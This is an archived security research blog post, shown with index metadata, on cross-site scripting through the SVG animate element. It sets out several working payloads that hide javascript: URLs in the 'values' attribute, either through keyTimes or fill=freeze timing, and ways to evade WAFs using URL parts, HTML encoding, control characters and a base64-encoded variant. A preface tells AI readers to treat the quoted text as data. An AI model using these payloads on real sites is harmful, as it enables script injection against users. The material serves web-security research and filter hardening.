---
type: Article
title: XSS fun with animated SVG
description: The SVG animate element takes a semicolon separated values list, so a javascript URL hidden after a harmless one escapes WAFs that inspect the attribute as a whole. Setting keyTimes to skip the first frame, or fill=freeze with a 1ms duration to land on the last, makes that value the one applied to href, giving a click-triggered XSS.
resource: "https://blog.isec.pl/xss-fun-with-animated-svg/"
tags: [article, webseclist-reference, en, blog-isec-pl, xss, waf-bypass, filter-bypass, encoding, url-parsing, javascript, prior-art-extension, owasp-a03-2021, owasp-a05-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-09T01:04:37+00:00"
status: stable
stale_after: 2027-08-09
sources:
  - id: original
    resource: "https://blog.isec.pl/xss-fun-with-animated-svg/"
    title: XSS fun with animated SVG
    author: "@phaldrzynski, Paweł Hałdrzyński"
    last_modified: 2020-04-14
also_at: []
authors:
  - "@phaldrzynski"
  - Paweł Hałdrzyński
canonical_url: ""
cited_by:
  - "2020.md:56"
commit: ""
content_sha256: 724198d1d88afa7b103813b1bdb3da617a5269b3fd0fbbc307748deecd655697
depth: full
depth_reason: default
kind: article
language: en
licence: unknown
original_url: "https://blog.isec.pl/xss-fun-with-animated-svg/"
published: 2020-04-14
publisher: blog.isec.pl
publisher_english: ""
raw_sha256: bbca07fe4a30b754e9c81f6959364f860f755e1fec5aeb1045057f3f8e42b8c5
retrieved_from: "https://blog.isec.pl/xss-fun-with-animated-svg/"
retrieved_kind: live
retrieved_utc: "2026-08-09T01:04:37+00:00"
slug: 2020-blog-isec-pl-xss-fun-animated-svg
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# XSS fun with animated SVG

**XSS fun with animated SVG** - @phaldrzynski, Paweł Hałdrzyński, blog.isec.pl.

- Published: 2020-04-14
- Original: <https://blog.isec.pl/xss-fun-with-animated-svg/>
- Preserved from: https://blog.isec.pl/xss-fun-with-animated-svg/ (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Recently I have read about a neat idea of [bypassing WAF by inserting a JavaScript URL in the middle of the *values *attribute of the <animate> tag](https://portswigger.net/research/svg-animate-xss-vector?ref=blog.isec.pl). Most of WAFs can easily extract attributes’ values and then detect malicious payloads inside them – for example: *`javascript:alert(1)`*. The [research](https://portswigger.net/research/svg-animate-xss-vector?ref=blog.isec.pl) is based on the fact that the *`values`* attribute may contain multiple values – each separated by a semicolon. As each separated value is treated by an *animate* tag individually we may mislead the WAF by smuggling our malicious *`javascript:alert(1)`* as a middle (or last) argument of the *`values`* attribute, e.g.:

```html
<animate values="http://safe-url/?;javascript:alert(1);C">
```

This way some WAFs might be confused and treat the above attribute’s value as a safe URL.

The [author](https://twitter.com/garethheyes?ref=blog.isec.pl) of this research presented a perfectly working XSS attack vector:

```html
<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>
```

In the following paragraphs I’ll examine different variations of the above approach. Each example contain user-interaction XSS. To pop-up an alert, insert the example code snippets into .html file and click on the 'XSS' text.

**Let’s make it shorter**

Before we begin we need to understand the relation between *`values`* and *`keyTimes` *attributes.

Let’s take a peek at the [documentation](https://svgwg.org/specs/animations/?ref=blog.isec.pl#KeyTimesAttribute) to understand what’s really going on with *`keyTimes`*:

> *A semicolon-separated list of time values used to control the pacing of the animation. Each time in the list corresponds to a value in the ‘values’ attribute list, and defines when the value is used in the animation function.*

*Each time value in the ‘keyTimes’ list is specified as a floating point value between 0 and 1 (inclusive), representing a proportional offset into the simple duration of the animation element.*

*(…)*

*For linear and spline animation, the first time value in the list must be 0, and the last time value in the list must be 1. The key time associated with each value defines when the value is set; values are interpolated between the key times.*

To better understand its behavior we will create an animation of a sliding circle:

```html
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="10">
    <animate attributeName="cx" dur=5s repeatCount=indefinite
        values="0 ; 80 ; 120  " keyTimes="0; 0.5; 1"/>

  </circle>
</svg>
```

In the above example two animations occur. The circle slides from 0 to 80 and then from 80 to 120. The more we decrease the middle *`keyTimes`* attribute (the former value is set to 0.5), the faster the first part of the animation is. When the value, however, is decreased down to 0, the first part of the animation is omitted and the circle starts sliding from 80 to 120. This is exactly what we need:

```html
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="10">
    <animate attributeName="cx" dur=5s repeatCount=indefinite
        values="0 ; 80 ; 120  " keyTimes="0; 0; 1"/>

  </circle>
</svg>
```

We want to make sure that the second part of the animation is always shown (while the first is always omitted). To make that happen two additional attributes are set:

*`repeatCount = indefinite` *– which tells the animation to keep going,
*`dur = 5s`* – duration time (any value will suffice).

Let us have a quick peek then into the [documentation](https://www.w3.org/TR/SVG11/animate.html?ref=blog.isec.pl) and notice that these two attributes are redundant:

> *If the animation does not have a ‘dur’ attribute, the simple duration is indefinite.*

Instead of indefinitely repeating a 5s animation, we may create an indefinite animation with no repeats. This way we can get rid of a *`dur` *attribute (by default it’s set to indefinite value) and we may remove *`repeatCount`* afterwards.

The very exact idea works for XSS attack vector:

> values="https://safe-url?;javascript:alert(1);0"
keytimes=0;0;1

The first animation won’t occur (so *href* attribute won’t be set to *`https://safe-url`*), whereas the second one will (*href* will point to *`javascript:alert(1)` *and it will remain there indefinitely). This way we may shrink the initial XSS attack vector as below:

```html
<svg><animate xlink:href=#xss attributeName=href keyTimes=0;0;1 values="http://isec.pl;javascript:alert(1);X" /><a id=xss><text x=20 y=20>XSS</text></a>
```

**Freeze the keyTimes**

It turns out that *`keyTimes`* is not the only attribute which allows us to use a non-first value from the *`values`* attribute list. As we want to smuggle our *`javascript:alert(1)` *anywhere but not at the beginning, the most obvious solution is to put it at the end.

The SVG standard [defines](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/fill?ref=blog.isec.pl) an attribute *`fill`*. It specifies that the final state of the animation is either the first or the last frame. Let’s move back to our sliding circle example to yet better understand how it works.

```html
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="10">
    <animate attributeName="cx" dur=5s values="0 ; 80 " fill=remove />
  </circle>
</svg>
```

If attribute *`fill`* is set to ‘remove’, upon the end of the animation it moves back to the first frame. The circle slides from 0 to 80 and then moves back to 0 position.

```html
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
  <circle cx="10" cy="10" r="10">
    <animate attributeName="cx" dur=5s values="0 ; 80 " fill=freeze />
  </circle>
</svg>
```

If attribute *`fill`* is set to ‘freeze’ the animation keeps the state of the last animation frame. The circle slides from 0 to 80 and it stays where it finished the animation – at 80. This way we can put our *`javascript:alert(1)` *as the last element and make sure that it is always displayed when animation finishes.

This solution is kind of tricky. Before we hit the last element we need to go through the first one. We cannot just omit it as we did with *`keyTimes`*; we can, however, make this first animation frame almost negligible to a human eye by setting a duration of the animation to a very short value, e.g.: 1ms.

When animation starts *href* attribute will be set to *`http://isec.pl`* for just 1 millisecond, and then it will remain on *`javascript:alert(1)`*.

```html
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
```

**Other WAF-bypassing tricks**

The main trick to confuse a WAF is to insert malicious *`javascript:alert(1)` *vector as a valid part of a URL. Although values must be separated by a semicolon we are able to easily form a valid URL in which we smuggle our *`javascript:alert(1)` *vector:

`values="http://isec.pl/?a=a;javascript:alert(1)"` – as a parameter value

`values="http://isec.pl/?a[;javascript:alert(1)//]=test"` – as a parameter name

`values="http://isec.pl/?a=a#;javascript:alert(1)"` – as a fragment of a hash

 `values="http://;javascript:alert(1);@isec.pl"` – as Basic Auth credentials (*keyTimes* variant)

Moreover, we are allowed to HTML-encode any character inside *`values`* attribute. This way we may deceive WAF rules even better.

```html
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
```

As HTML-encoding comes in handy we may use extra behavior: some characters are allowed to occur before a *`javascript:`* protocol identifier. Every ASCII value from range 01–32 works. E.g.:

```html
<svg><animate xlink:href=#xss attributeName=href  values="javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
```

```html
<svg><animate xlink:href=#xss attributeName=href  values="

 javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
```

Even more quirky observation suggests that those values don’t need to be HTML-encoded at all (as payload contains non-printable characters, it was base64-encoded for better readability):

```text
PHN2Zz48YW5pbWF0ZSB4bGluazpocmVmPSN4c3MgYXR0cmlidXRlTmFtZT1ocmVmICB2YWx1ZXM9IgECAwQFBgcICQ0KCwwNCg4PEBESExQVFhcYGRobHB0eHyBqYXZhc2NyaXB0OmFsZXJ0KDEpIiAvPjxhIGlkPXhzcz48dGV4dCB4PTIwIHk9MjA+WFNTPC90ZXh0PjwvYT4=
```

**Summary**

In this article, we discovered that SVG specification conceals a lots of potential XSS attack vectors. Even a simple attribute `values` may lead to multiple malicious payloads, which helps bypass WAFs. The presented vectors were tested on both Firefox and Chrome.
